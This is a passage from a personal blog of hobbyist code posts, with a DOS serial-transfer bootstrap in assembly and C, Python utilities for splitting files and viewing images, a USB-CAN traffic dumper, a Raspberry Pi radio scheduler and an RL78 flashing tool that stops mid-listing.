I was doing research on how to "bootstrap" an old DOS based computer with more functional software, like a proper terminal emulator. Because the floppy drive was broken, I had to get this transferred over the existing RS-232 serial port.

The initial results were a couple of programs: A "decode" program meant to be run on DOS, written in x86 assembly, to receive the data. An "encode" program meant to be run on Linux, written in C, to send the data. Very simple encoding is used; each byte is split into two nibbles and added with 0x30 to produce a valid ASCII character.

Unfortunately I was not able to run the programs with larger amounts of data without loosing bits and pieces. Even at very low baud rates like 1200 data still got lost and enabling/disabling flow control made no difference. However, I found that other people have been suffering from these kinds of issues in the past as well. So I found some other alternatives, and the best one so far is Kermit. The MS-DOS Kermit package also provides a BASIC bootstrap program that can be run in QBASIC on the DOS computer.

Anyway, for future reference, here is the "decode" program:
(Assemble it under Linux with NASM like so: nasm decode.asm -fbin -o decode.com)

org 0x100 ; DOS COM file start offset.

section .text
start:
  ; Call BIOS to initialize serial port.
  mov ah, 0x00
  mov al, 0xe3 ; 9600,8,n,1
  mov dx, 0x00 ; COM1
  int 0x14

  ; Call DOS to create new file and handle.
  mov ah, 0x3c
  mov cx, 0 ; Standard attributes.
  mov dx, filename
  int 0x21
  jc end_file_create_error
  mov [filehandle], ax

read_loop:
  ; Call BIOS to read byte from serial port.
  mov ah, 0x02
  mov dx, 0x00 ; COM1
  int 0x14
  and ah, 0x80
  jnz end_read_serial_error

  ; Check if DOS-style EOF.
  cmp al, 0x1A
  je end_success

  ; Determine high or low nibble next.
  mov bl, [have_seen_high_nibble]
  cmp bl, 0
  jne convert_low_nibble

convert_high_nibble:
  sub al, 0x30
  mov cl, 4
  shl al, cl
  mov [high_nibble], al
  mov byte [have_seen_high_nibble], 1
  jmp read_loop

convert_low_nibble:
  sub al, 0x30
  or al, [high_nibble]
  mov byte [have_seen_high_nibble], 0

  ; Call DOS to write to file.
  mov [write_buffer], al
  mov ah, 0x40
  mov bx, [filehandle]
  mov cx, 1 ; One byte at a time.
  mov dx, write_buffer
  int 0x21
  jc end_file_write_error

  ; Call DOS to display '.' for progress.
  mov ah, 0x2
  mov dl, '.'
  int 0x21

  jmp read_loop

end_success:
  ; Call DOS to close file handle.
  mov ah, 0x3e
  mov bx, [filehandle]
  int 0x21

  ; Call DOS to terminate program.
  mov ah, 0x4c
  mov al, 0 ; 0 = OK
  int 0x21

end_file_create_error:
  mov [error_code], ax
  ; Call DOS to display 'C' signifying "Create Error".
  mov ah, 0x2
  mov dl, 'C'
  int 0x21

  ; Call DOS to display error code.
  ; mov ah, 0x2
  mov dl, [error_code]
  add dl, 0x30
  int 0x21
  jmp end_error

end_read_serial_error:
  ; Call DOS to display 'R' signifying "Read Error".
  mov ah, 0x2
  mov dl, 'R'
  int 0x21

  ; Call BIOS to get serial port status
  mov ah, 03
  mov dx, 0x00 ; COM1
  int 0x14
  mov [error_code], ax

  ; Call DOS to display error code(s).
  mov ah, 0x2
  mov dl, [error_code] ; Modem Status
  mov cl, 4
  shr dl, cl ; High Nibble
  add dl, 0x30
  int 0x21

  ; mov ah, 0x2
  mov dl, [error_code] ; Modem Status
  and dl, 0x0f ; Low Nibble
  add dl, 0x30
  int 0x21

  ; mov ah, 0x2
  mov dl, [error_code+1] ; Port Status
  mov cl, 4
  shr dl, cl ; High Nibble
  add dl, 0x30
  int 0x21

  ; mov ah, 0x2
  mov dl, [error_code+1] ; Port Status
  and dl, 0x0f ; Low Nibble
  add dl, 0x30
  int 0x21
  jmp end_error

end_file_write_error:
  mov [error_code], ax
  ; Call DOS to display 'W' signifying "Write Error".
  mov ah, 0x2
  mov dl, 'W'
  int 0x21

  ; Call DOS to display error code.
  ; mov ah, 0x2
  mov dl, [error_code]
  add dl, 0x30
  int 0x21

end_error:
  ; Call DOS to terminate program.
  mov ah, 0x4c
  mov al, 1 ; 1 = Error
  int 0x21
 
section .data:

high_nibble:
  db 0

have_seen_high_nibble:
  db 0

error_code:
filehandle:
  dw 0

write_buffer:
  db 0

filename:
  db "DECODE.BIN",0
          


And the "encode" program:

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <termios.h>
#include <sys/ioctl.h>

int main(int argc, char *argv[])
{
  int c, fd, result;
  unsigned char byte;
  struct termios attr;

  if (argc != 2) {
    fprintf(stderr, "Usage: %s <TTY>\n", argv[0]);
    return 1;
  }

  fd = open(argv[1], O_RDWR | O_NOCTTY);
  if (fd == -1) {
    fprintf(stderr, "open() failed with errno: %d\n", errno);
    return 1;
  }

  result = tcgetattr(fd, &attr);
  if (result == -1) {
    fprintf(stderr, "tcgetattr() failed with errno: %d\n", errno);
    close(fd);
    return 1;
  }

  attr.c_cflag = B9600 | CS8 | CRTSCTS | CLOCAL;
  attr.c_iflag = 0;
  attr.c_oflag = 0;
  attr.c_lflag = 0;

  result = tcsetattr(fd, TCSANOW, &attr);
  if (result == -1) {
    fprintf(stderr, "tcgetattr() failed with errno: %d\n", errno);
    close(fd);
    return 1;
  }

  while ((c = fgetc(stdin)) != EOF) {
    byte = ((c & 0xf0) >> 4) + 0x30;
    write(fd, &byte, 1);
    byte = (c & 0x0f) + 0x30;
    write(fd, &byte, 1);
  }

  byte = 0x1a; /* DOS EOF */
  write(fd, &byte, 1);

  close(fd);
  return 0;
}
          


Topic: Scripts and Code, by Kjetil @ 19/08-2018, Article Link

File Batch Splitter

This is a Python script that takes a directory with a lot of files and splits the files among subfolder batches of a certain size. I've hard-coded the size of a standard CD (~700MB) into the script since this is a very typical use case.

Have a look:

#!/usr/bin/python

import os

class Batch(object):
    def __init__(self):
        self._size = 0
        self._files = list()

    def size_get(self):
        return self._size

    def files_get(self):
        return self._files

    def add(self, path):
        self._files.append(path)
        self._size += os.stat(path).st_size

class BatchManager(object):
    def __init__(self, max_size):
        self._max_size = max_size
        self._batches = list()

    def create(self, directory):
        batch = Batch()
        for filename in sorted(os.listdir(directory)):
            path = os.path.join(directory, filename)
            if os.path.isfile(path):
                if (batch.size_get() + os.stat(path).st_size) > self._max_size:
                    self._batches.append(batch)
                    batch = Batch()
                batch.add(path)
        self._batches.append(batch)

    def split(self, directory):
        for batch_no, batch in enumerate(self._batches):
            print "\nBatch #%03d, Size: %d" % (batch_no + 1, batch.size_get())
            for file_no, src_path in enumerate(batch.files_get()):
                print "%03d:%03d: %s" % (batch_no + 1, file_no + 1, src_path)
                batch_dir = "%03d" % (batch_no + 1)
                dst_dir = os.path.join(os.path.dirname(src_path), batch_dir)
                dst_path = os.path.join(os.path.dirname(src_path), batch_dir, os.path.basename(src_path))
                if not os.path.isdir(dst_dir):
                    os.mkdir(dst_dir)
                os.rename(src_path, dst_path)

if __name__ == "__main__":
    import sys
    if len(sys.argv) < 2:
        print "Usage: %s <directory>" % (sys.argv[0])
        sys.exit(1)

    directory = sys.argv[1]

    bm = BatchManager(737280000) # Bytes on 80 min CD-ROM Mode 1
    bm.create(directory)
    bm.split(directory)

    sys.exit(0)
          


Topic: Scripts and Code, by Kjetil @ 16/07-2018, Article Link

Python Image Viewer

Here is Python script I quickly made for browsing through images, and with a button to pass on the filepath of the currently viewed image to another command. However, it's very limited and doesn't even resize images, maybe that and more will be fixed in a future revision.

The code:

#!/usr/bin/python

from Tkinter import *
from PIL import ImageTk, Image
import subprocess
import os.path

class ImageView(Frame):
    def __init__(self, images, command, master=None):
        Frame.__init__(self, master)
        self.grid()
        self._create_widgets()
        self._images = images
        self._command = command
        self._offset = 0
        self._browse(0) # Load first image!

    def _browse(self, offset):
        self._offset += offset
        if self._offset < 0:
            self._offset = 0
        elif self._offset >= len(self._images):
            self._offset = (len(self._images) - 1)

        self.master.title("%s (%d/%d)" % (os.path.basename(self._images[self._offset]), self._offset + 1, len(self._images)))

        self._image_data = ImageTk.PhotoImage(Image.open(self._images[self._offset]))
        self._image = Button(image=self._image_data, bd=0, relief=FLAT, command=lambda: self._browse(1))
        self._image.grid(column=0, row=0, columnspan=7, sticky="news")

    def _exec(self):
        subprocess.call([self._command, self._images[self._offset]])

    def _create_widgets(self):
        self._prev_1   = Button(text="<",   command=lambda: self._browse(-1))
        self._prev_10  = Button(text="<<",  command=lambda: self._browse(-10))
        self._prev_100 = Button(text="<<<", command=lambda: self._browse(-100))
        self._next_1   = Button(text=">",   command=lambda: self._browse(1))
        self._next_10  = Button(text=">>",  command=lambda: self._browse(10))
        self._next_100 = Button(text=">>>", command=lambda: self._browse(100))
        self._exec     = Button(text="Go!", command=self._exec)

        self._prev_100.grid(column=0, row=1, sticky="ew")
        self._prev_10.grid (column=1, row=1, sticky="ew")
        self._prev_1.grid  (column=2, row=1, sticky="ew")
        self._exec.grid    (column=3, row=1, sticky="ew")
        self._next_1.grid  (column=4, row=1, sticky="ew")
        self._next_10.grid (column=5, row=1, sticky="ew")
        self._next_100.grid(column=6, row=1, sticky="ew")

def image_walker(arg, dirname, names):
    for fname in names:
        path = os.path.join(dirname, fname)
        if path.endswith(".jpg"):
            arg.append(path)

if __name__ == "__main__":
    import sys

    if len(sys.argv) < 3:
        print "Usage: %s <image directory> <command>" % (sys.argv[0])
        sys.exit(1)

    images = list()
    os.path.walk(sys.argv[1], image_walker, images)
    if len(images) == 0:
        print "No images found :-("
        sys.exit(1)

    iw = ImageView(sorted(images), sys.argv[2])
    iw.master.resizable(0, 0)
    iw.mainloop()

    sys.exit(0)
          


Topic: Scripts and Code, by Kjetil @ 21/05-2018, Article Link

USB-CAN Analyzer Linux Support

I already put this code on my GitHub page earlier, but I'm posting it on my page as well for completeness sake.

This is a small C program that dumps the CAN traffic for one the USB-CAN adapters found everywhere on Ebay nowadays. The manufacturer does not support Linux by themselves, and only gives the link to a Windows binary program.

When plugged in, it will show something like this:

Bus 002 Device 006: ID 1a86:7523 QinHeng Electronics HL-340 USB-Serial adapter
          


So the whole thing is actually a USB to serial converter, for which Linux will provide the 'ch341-uart' driver and create a new /dev/ttyUSB device. This program simply implements part of that serial protocol.

The code:

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <errno.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <asm/termbits.h> /* struct termios2 */
#include <time.h>

#define CANUSB_BAUD_RATE 2000000

typedef enum {
  CANUSB_SPEED_1000000 = 0x01,
  CANUSB_SPEED_800000  = 0x02,
  CANUSB_SPEED_500000  = 0x03,
  CANUSB_SPEED_400000  = 0x04,
  CANUSB_SPEED_250000  = 0x05,
  CANUSB_SPEED_200000  = 0x06,
  CANUSB_SPEED_125000  = 0x07,
  CANUSB_SPEED_100000  = 0x08,
  CANUSB_SPEED_50000   = 0x09,
  CANUSB_SPEED_20000   = 0x0a,
  CANUSB_SPEED_10000   = 0x0b,
  CANUSB_SPEED_5000    = 0x0c,
} CANUSB_SPEED;

typedef enum {
  CANUSB_MODE_NORMAL          = 0x00,
  CANUSB_MODE_LOOPBACK        = 0x01,
  CANUSB_MODE_SILENT          = 0x02,
  CANUSB_MODE_LOOPBACK_SILENT = 0x03,
} CANUSB_MODE;

typedef enum {
  CANUSB_FRAME_STANDARD = 0x01,
  CANUSB_FRAME_EXTENDED = 0x02,
} CANUSB_FRAME;

static int print_traffic = 0;

static CANUSB_SPEED canusb_int_to_speed(int speed)
{
  switch (speed) {
  case 1000000:
    return CANUSB_SPEED_1000000;
  case 800000:
    return CANUSB_SPEED_800000;
  case 500000:
    return CANUSB_SPEED_500000;
  case 400000:
    return CANUSB_SPEED_400000;
  case 250000:
    return CANUSB_SPEED_250000;
  case 200000:
    return CANUSB_SPEED_200000;
  case 125000:
    return CANUSB_SPEED_125000;
  case 100000:
    return CANUSB_SPEED_100000;
  case 50000:
    return CANUSB_SPEED_50000;
  case 20000:
    return CANUSB_SPEED_20000;
  case 10000:
    return CANUSB_SPEED_10000;
  case 5000:
    return CANUSB_SPEED_5000;
  default:
    return 0;
  }
}

static int generate_checksum(unsigned char *data, int data_len)
{
  int i, checksum;

  checksum = 0;
  for (i = 0; i < data_len; i++) {
    checksum += data[i];
  }

  return checksum & 0xff;
}

static int frame_is_complete(unsigned char *frame, int frame_len)
{
  if (frame_len > 0) {
    if (frame[0] != 0xaa) {
      /* Need to sync on 0xaa at start of frames, so just skip. */
      return 1;
    }
  }

  if (frame_len < 2) {
    return 0;
  }

  if (frame[1] == 0x55) { /* Command frame... */
    if (frame_len >= 20) { /* ...always 20 bytes. */
      return 1;
    } else {
      return 0;
    }
  } else if ((frame[1] >> 4) == 0xc) { /* Data frame... */
    if (frame_len >= (frame[1] & 0xf) + 5) { /* ...payload and 5 bytes. */
      return 1;
    } else {
      return 0;
    }
  }

  /* Unhandled frame type. */
  return 1;
}

static int frame_send(int tty_fd, unsigned char *frame, int frame_len)
{
  int result, i;

  if (print_traffic) {
    printf(">>> ");
    for (i = 0; i < frame_len; i++) {
      printf("%02x ", frame[i]);
    }
    printf("\n");
  }

  result = write(tty_fd, frame, frame_len);
  if (result == -1) {
    fprintf(stderr, "write() failed: %s\n", strerror(errno));
    return -1;
  }

  return frame_len;
}

static int frame_recv(int tty_fd, unsigned char *frame, int frame_len_max)
{
  int result, frame_len, checksum;
  unsigned char byte;

  if (print_traffic)
    fprintf(stderr, "<<< ");

  frame_len = 0;
  while (1) {
    result = read(tty_fd, &byte, 1);
    if (result == -1) {
      if (errno != EAGAIN && errno != EWOULDBLOCK) {
        fprintf(stderr, "read() failed: %s\n", strerror(errno));
        return -1;
      }

    } else if (result > 0) {
      if (print_traffic)
        fprintf(stderr, "%02x ", byte);

      if (frame_len == frame_len_max) {
        fprintf(stderr, "frame_recv() failed: Overflow\n");
        return -1;
      }

      frame[frame_len++] = byte;

      if (frame_is_complete(frame, frame_len)) {
        break;
      }
    }

    usleep(10);
  }

  if (print_traffic)
    fprintf(stderr, "\n");

  /* Compare checksum for command frames only. */
  if ((frame_len == 20) && (frame[0] == 0xaa) && (frame[1] == 0x55)) {
    checksum = generate_checksum(&frame[2], 17);
    if (checksum != frame[frame_len - 1]) {
      fprintf(stderr, "frame_recv() failed: Checksum incorrect\n");
      return -1;
    }
  }

  return frame_len;
}

static int command_settings(int tty_fd, CANUSB_SPEED speed, CANUSB_MODE mode, CANUSB_FRAME frame)
{
  int cmd_frame_len;
  unsigned char cmd_frame[20];

  cmd_frame_len = 0;
  cmd_frame[cmd_frame_len++] = 0xaa;
  cmd_frame[cmd_frame_len++] = 0x55;
  cmd_frame[cmd_frame_len++] = 0x12;
  cmd_frame[cmd_frame_len++] = speed;
  cmd_frame[cmd_frame_len++] = frame;
  cmd_frame[cmd_frame_len++] = 0; /* Filter ID not handled. */
  cmd_frame[cmd_frame_len++] = 0; /* Filter ID not handled. */
  cmd_frame[cmd_frame_len++] = 0; /* Filter ID not handled. */
  cmd_frame[cmd_frame_len++] = 0; /* Filter ID not handled. */
  cmd_frame[cmd_frame_len++] = 0; /* Mask ID not handled. */
  cmd_frame[cmd_frame_len++] = 0; /* Mask ID not handled. */
  cmd_frame[cmd_frame_len++] = 0; /* Mask ID not handled. */
  cmd_frame[cmd_frame_len++] = 0; /* Mask ID not handled. */
  cmd_frame[cmd_frame_len++] = mode;
  cmd_frame[cmd_frame_len++] = 0x01;
  cmd_frame[cmd_frame_len++] = 0;
  cmd_frame[cmd_frame_len++] = 0;
  cmd_frame[cmd_frame_len++] = 0;
  cmd_frame[cmd_frame_len++] = 0;
  cmd_frame[cmd_frame_len++] = generate_checksum(&cmd_frame[2], 17);

  if (frame_send(tty_fd, cmd_frame, cmd_frame_len) < 0) {
    return -1;
  }

  return 0;
}

static void dump_data_frames(int tty_fd)
{
  int i, frame_len;
  unsigned char frame[32];
  struct timespec ts;

  while (1) {
    frame_len = frame_recv(tty_fd, frame, sizeof(frame));

    clock_gettime(CLOCK_MONOTONIC, &ts);
    printf("%lu.%06lu ", ts.tv_sec, ts.tv_nsec / 1000);

    if (frame_len == -1) {
      printf("Frame recieve error!\n");

    } else {

      if ((frame_len >= 6) &&
          (frame[0] == 0xaa) &&
          ((frame[1] >> 4) == 0xc)) {
        printf("Frame ID: %02x%02x, Data: ", frame[3], frame[2]);
        for (i = frame_len - 2; i > 3; i--) {
          printf("%02x ", frame[i]);
        }
        printf("\n");

      } else {
        printf("Unknown:");
        for (i = 0; i <= frame_len; i++) {
          printf("%02x ", frame[i]);
        }
        printf("\n");
      }
    }
  }
}

static int adapter_init(char *tty_device)
{
  int tty_fd, result;
  struct termios2 tio;

  tty_fd = open(tty_device, O_RDWR | O_NOCTTY | O_NONBLOCK);
  if (tty_fd == -1) {
    fprintf(stderr, "open(%s) failed: %s\n", tty_device, strerror(errno));
    return -1;
  }
 
  result = ioctl(tty_fd, TCGETS2, &tio);
  if (result == -1) {
    fprintf(stderr, "ioctl() failed: %s\n", strerror(errno));
    close(tty_fd);
    return -1;
  }

  tio.c_cflag &= ~CBAUD;
  tio.c_cflag = BOTHER | CS8 | CSTOPB;
  tio.c_iflag = IGNPAR;
  tio.c_oflag = 0;
  tio.c_lflag = 0;
  tio.c_ispeed = CANUSB_BAUD_RATE;
  tio.c_ospeed = CANUSB_BAUD_RATE;

  result = ioctl(tty_fd, TCSETS2, &tio);
  if (result == -1) {
    fprintf(stderr, "ioctl() failed: %s\n", strerror(errno));
    close(tty_fd);
    return -1;
  }

  return tty_fd;
}

static void display_help(char *progname)
{
  fprintf(stderr, "Usage: %s <options>\n", progname);
  fprintf(stderr, "Options:\n"
     "  -h          Display this help and exit.\n"
     "  -t          Print TTY/serial traffic debugging info on stderr.\n"
     "  -d DEVICE   Use TTY DEVICE.\n"
     "  -s SPEED    Set CAN SPEED in bps.\n"
     "\n");
}

int main(int argc, char *argv[])
{
  int c, tty_fd;
  char *tty_device = NULL;
  CANUSB_SPEED speed = 0;

  while ((c = getopt(argc, argv, "htd:s:")) != -1) {
    switch (c) {
    case 'h':
      display_help(argv[0]);
      return EXIT_SUCCESS;

    case 't':
      print_traffic = 1;
      break;

    case 'd':
      tty_device = optarg;
      break;

    case 's':
      speed = canusb_int_to_speed(atoi(optarg));
      break;

    case '?':
    default:
      display_help(argv[0]);
      return EXIT_FAILURE;
    }
  }

  if (tty_device == NULL) {
    fprintf(stderr, "Please specify a TTY!\n");
    display_help(argv[0]);
    return EXIT_FAILURE;
  }

  if (speed == 0) {
    fprintf(stderr, "Please specify a valid speed!\n");
    display_help(argv[0]);
    return EXIT_FAILURE;
  }

  tty_fd = adapter_init(tty_device);
  if (tty_fd == -1) {
    return EXIT_FAILURE;
  }

  command_settings(tty_fd, speed, CANUSB_MODE_NORMAL, CANUSB_FRAME_STANDARD);
  dump_data_frames(tty_fd);

  return EXIT_SUCCESS;
}
          


Topic: Scripts and Code, by Kjetil @ 02/04-2018, Article Link

Python Internet Radio Manager

In their infinite wisdom, the Norwegian government decided to shut down all FM boardcasts in favor of the even more obsolete and inferior DAB broadcast system this year. In response to their futile attempts, I have instead set up a Raspberry Pi 2 to function as an Internet radio and feed the audio into my existing radio equipment.

I only listen to the radio in the morning, so to avoid using the Internet connection at all times I needed some kind of manager. The result is a Python script which keeps track of the time of day and switches whatever is played on the audio output. This also gives the possibility to easily switch channels during the weekend.

Here is the script, where everything is just configured with my preferences within the script itself:

#!/usr/bin/python

import subprocess
import signal
import datetime
import time

events = (
  ("SUN", 15,  0, ["su", "root", "-c", "ntpdate 192.168.0.1"]),
  ("MON",  7, 45, ["mpg123", "http://nrk-mms-live.telenorcdn.net:80/nrk_radio_p1_rogaland_mp3_h"]),
  ("MON",  8, 30, ["./portal_looping_radio.sh"]),
  ("TUE",  7, 45, ["mpg123", "http://nrk-mms-live.telenorcdn.net:80/nrk_radio_p1_rogaland_mp3_h"]),
  ("TUE",  8, 30, ["./portal_looping_radio.sh"]),
  ("WED",  7, 45, ["mpg123", "http://nrk-mms-live.telenorcdn.net:80/nrk_radio_p1_rogaland_mp3_h"]),
  ("WED",  8, 30, ["./portal_looping_radio.sh"]),
  ("THU",  7, 45, ["mpg123", "http://nrk-mms-live.telenorcdn.net:80/nrk_radio_p1_rogaland_mp3_h"]),
  ("THU",  8, 30, ["./portal_looping_radio.sh"]),
  ("FRI",  7, 45, ["mpg123", "http://nrk-mms-live.telenorcdn.net:80/nrk_radio_p1_rogaland_mp3_h"]),
  ("FRI",  8, 30, ["./portal_looping_radio.sh"]),
  ("SAT",  7, 45, ["mpg123", "http://nrk-mms-live.telenorcdn.net:80/nrk_radio_jazz_mp3_h"]),
  ("SAT",  9, 30, ["./portal_looping_radio.sh"]),
  ("SUN",  7, 45, ["mpg123", "http://nrk-mms-live.telenorcdn.net:80/nrk_radio_jazz_mp3_h"]),
  ("SUN",  9, 30, ["./portal_looping_radio.sh"]),
)

default_event = ["./portal_looping_radio.sh"]

p = None

def alarm_handler(signum, frame):
    print "[RADIO] Got Alarm!"
    p.kill()

def event_to_secs(event):
    if event[0] == "MON":
        secs = 0
    elif event[0] == "TUE":
        secs = 86400
    elif event[0] == "WED":
        secs = 172800
    elif event[0] == "THU":
        secs = 259200
    elif event[0] == "FRI":
        secs = 345600
    elif event[0] == "SAT":
        secs = 432000
    elif event[0] == "SUN":
        secs = 518400

    secs += (event[1] * 3600)
    secs += (event[2] * 60)

    return secs

def get_next_event():
    now = datetime.datetime.now().timetuple()
    now_secs = (now.tm_wday * 86400) + (now.tm_hour * 3600) + (now.tm_min * 60) + now.tm_sec

    nearest_event_secs = 604801
    nearest_event = None
    first_event_secs = 604801
    first_event = None

    for event in events:
        event_secs = event_to_secs(event)
        if event_secs < first_event_secs:
            first_event_secs = event_secs
            first_event = event

        if event_secs > now_secs and event_secs < nearest_event_secs:
            nearest_event_secs = event_secs
            nearest_event = event

    if nearest_event == None:
        return (604800 + first_event_secs) - now_secs, first_event[3]
    else:
        return nearest_event_secs - now_secs, nearest_event[3]

if __name__ == "__main__":

    print "[RADIO] Starting"

    signal.signal(signal.SIGALRM, alarm_handler)
    p = subprocess.Popen(default_event)

    while True:
        timeleft, next_event = get_next_event()
        print "[RADIO] Time Left:", timeleft
        signal.alarm(timeleft)
        p.wait()
        print "[RADIO] Event:", next_event
        p = subprocess.Popen(next_event)
        time.sleep(30)
        p.poll()
        if p.returncode != None:
            print "[RADIO] Error, running default."
            p = subprocess.Popen(default_event)
            time.sleep(3)
            p.poll()
            if p.returncode != None:
                break

    print "[RADIO] Exit"
          


Topic: Scripts and Code, by Kjetil @ 16/12-2017, Article Link

GR-KURUMI Writer for Linux

On a recent trip to Japan I picked up a microcontroller reference board known as GR-KURUMI, which uses the Renesas RL78/G13 microcontroller.

I was surprised to see that no flashing tool for Linux was available from the supplier. Well, I later discovered this GitHub project which can do the job. But it was already too late and I had already made my own tool by reverse engineering the serial protocol used by the Windows flashing tool.

Here are the results, the tool is made specifically for and only tested with the GR-KURUMI board:

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <errno.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <termios.h>



#define BLOCK_SIZE 1024 /* In bytes. */

typedef enum {
  RL78_COMMAND_RESET             = 0x00,
  RL78_COMMAND_VERIFY            = 0x13,
  RL78_COMMAND_BLOCK_ERASE       = 0x22,
  RL78_COMMAND_BLOCK_BLANK_CHECK = 0x32,
  RL78_COMMAND_PROGRAMMING       = 0x40,
  RL78_COMMAND_BAUD_RATE_SET     = 0x9a,
  RL78_COMMAND_SECURITY_SET      = 0xa0,
  RL78_COMMAND_SECURITY_GET      = 0xa1,
  RL78_COMMAND_SECURITY_RELEASE  = 0xa2,
  RL78_COMMAND_CHECKSUM          = 0xb0,
  RL78_COMMAND_SILICON_SIGNATURE = 0xc0,
} RL78_COMMAND;

typedef enum {
  RL78_STATUS_COMMAND_NUMBER_ERROR = 0x04,
  RL78_STATUS_PARAMETER_ERROR      = 0x05,
  RL78_STATUS_NORMAL_ACK           = 0x06,
  RL78_STATUS_CHECKSUM_ERROR       = 0x07,
  RL78_STATUS_VERIFY_ERROR         = 0x0f,
  RL78_STATUS_PROTECT_ERROR        = 0x10,
  RL78_STATUS_NEGATIVE_ACK         = 0x15,
  RL78_STATUS_ERASE_ERROR          = 0x1a,
  RL78_STATUS_IVERIFY_BLANK_ERROR  = 0x1b,
  RL78_STATUS_WRITE_ERROR          = 0x1c,
} RL78_STATUS;



static int print_traffic = 0;
static int print_details = 1;



static char *rl78_status_text(int status)
{
  switch (status) {
  case RL78_STATUS_COMMAND_NUMBER_ERROR:
    return "Command number error";
  case RL78_STATUS_PARAMETER_ERROR:
    return "Parameter error";
  case RL78_STATUS_NORMAL_ACK:
    return "Normal acknowledgement";
  case RL78_STATUS_CHECKSUM_ERROR:
    return "Checksum error";
  case RL78_STATUS_VERIFY_ERROR:
    return "Verify error";
  case RL78_STATUS_PROTECT_ERROR:
    return "Protect error";
  case RL78_STATUS_NEGATIVE_ACK:
    return "Negative acknowledgement";
  case RL78_STATUS_ERASE_ERROR:
    return "Erase error";
  case RL78_STATUS_IVERIFY_BLANK_ERROR:
    return "Internal verify error or blank check error";
  case RL78_STATUS_WRITE_ERROR:
    return "Write error";
  default:
    return "Unknown error";
  }
}



static int generate_checksum(unsigned char *data, int data_len)
{
  int i, checksum;

  if (data_len == 0) {
    data_len = 0x100;
  }

  checksum = (0 - data_len);
  for (i = 0; i < data_len; i++) {
    checksum -= data[i];
  }

  return checksum & 0xff;
}



static int frame_is_complete(unsigned char *frame, int frame_len)
{
  int internal_frame_len;

  if (frame_len < 5) {
    return 0;
  }

  if (frame[1] == 0) {
    internal_frame_len = 0x100;
  } else {
    internal_frame_len = frame[1];
  }

  if (internal_frame_len == (frame_len - 4)) {
    return 1;
  } else {
    return 0;
  }
}



static int frame_send(int tty_fd, unsigned char *frame, int frame_len)
{
  int result, i;

  if (print_traffic) {
    printf(">>> ");
    for (i = 0; i < frame_len; i++) {
      printf("%02x ", frame[i]);
    }
    printf("\n");
  }

  result = write(tty_fd, frame, frame_len);
  if (result == -1) {
    fprintf(stderr, "write() failed: %s\n", strerror(errno));
    return -1;
  }

  return frame_len;
}



static int frame_recv(int tty_fd, unsigned char *frame, int frame_len_max)
{
  int result, frame_len, checksum;
  unsigned char byte;

  if (print_traffic)
    printf("<<< ");

  frame_len = 0;
  while (1) {
    result = read(tty_fd, &byte, 1);
    if (result == -1) {
      if (errno != EAGAIN && errno != EWOULDBLOCK) {
        fprintf(stderr, "read() failed: %s\n", strerror(errno));
        return -1;
      }

    } else if (result > 0) {
      if (print_traffic)
        printf("%02x ", byte);

      if (frame_len == frame_len_max) {
        fprintf(stderr, "frame_recv() failed: Overflow\n");
        return -1;
      }

      frame[frame_len++] = byte;

      if (frame_is_complete(frame, frame_len)) {
        break;
      }
    }

    usleep(10);
  }

  if (print_traffic)
    printf("\n");

  checksum = generate_checksum(&frame[2], frame[1]);
  if (checksum != frame[frame_len - 2]) {
    fprintf(stderr, "frame_recv() failed: Checksum incorrect\n");
    return -1;
  }

  return frame_len;
}



static int command_baud_rate_set(int tty_fd)
{
  int cmd_frame_len;
  unsigned char cmd_frame[8];
  unsigned char status_frame[8];

  cmd_frame_len = 0;
  cmd_frame[cmd_frame_len++] = 0x01; /* Command Frame Header */
  cmd_frame[cmd_frame_len++] = 0x03; /* Command Information Length */
  cmd_frame[cmd_frame_len++] = RL78_COMMAND_BAUD_RATE_SET;
  cmd_frame[cmd_frame_len++] = 0x00; /* Baud rate setting = 115200 */
  cmd_frame[cmd_frame_len++] = 0x21; /* Voltage setting = 3.3V */
  cmd_frame[cmd_frame_len++] = generate_checksum(&cmd_frame[2], cmd_frame[1]);
  cmd_frame[cmd_frame_len++] = 0x03; /* Command Frame Footer */

  if (frame_send(tty_fd, cmd_frame, cmd_frame_len) < 0) {
    return -1;
  }

  if (frame_recv(tty_fd, status_frame, sizeof(status_frame)) < 0) {
    return -1;
  }

  if (status_frame[2] != RL78_STATUS_NORMAL_ACK) {
    fprintf(stderr, "command_baud_rate_set() failed: %s (0x%02x)\n",
      rl78_status_text(status_frame[2]), status_frame[2]);
    return -1;
  }

  if (print_details) {
    printf("Frequency: %d MHz\n", status_frame[3]);
    printf("Programming mode: %s\n", status_frame[4] ? "Wide-voltage" : "Full-speed");
  }

  return 0;
}



static int command_reset(int tty_fd)
{
  int cmd_frame_len;
  unsigned char cmd_frame[8];
  unsigned char status_frame[8];

  cmd_frame_len = 0;
  cmd_frame[cmd_frame_len++] = 0x01; /* Command Frame Header */
  cmd_frame[cmd_frame_len++] = 0x01; /* Command Information Length */
  cmd_frame[cmd_frame_len++] = RL78_COMMAND_RESET;
  cmd_frame[cmd_frame_len++] = generate_checksum(&cmd_frame[2], cmd_frame[1]);
  cmd_frame[cmd_frame_len++] = 0x03; /* Command Frame Footer */

  if (frame_send(tty_fd, cmd_frame, cmd_frame_len) < 0) {
    return -1;
  }

  if (frame_recv(tty_fd, status_frame, sizeof(status_frame)) < 0) {
    return -1;
  }

  if (status_frame[2] != RL78_STATUS_NORMAL_ACK) {
    fprintf(stderr, "command_reset() failed: %s (0x%02x)\n",
      rl78_status_text(status_frame[2]), status_frame[2]);
    return -1;
  }

  return 0;
}



static int command_silicon_signature(int tty_fd)
{
  int cmd_frame_len, status_frame_len, data_frame_len;
  unsigned char cmd_frame[8];
  unsigned char status_frame[8];
  unsigned char data_frame[32];

  cmd_frame_len = 0;
  cmd_frame[cmd_frame_len++] = 0x01; /* Command Frame Header */
  cmd_frame[cmd_frame_len++] = 0x01; /* Command Information Length */
  cmd_frame[cmd_frame_len++] = RL78_COMMAND_SILICON_SIGNATURE;
  cmd_frame[cmd_frame_len++] = generate_checksum(&cmd_frame[2], cmd_frame[1]);
  cmd_frame[cmd_frame_len++] = 0x03; /* Command Frame Footer */

  if (frame_send(tty_fd, cmd_frame, cmd_frame_len) < 0) {
    return -1;
  }

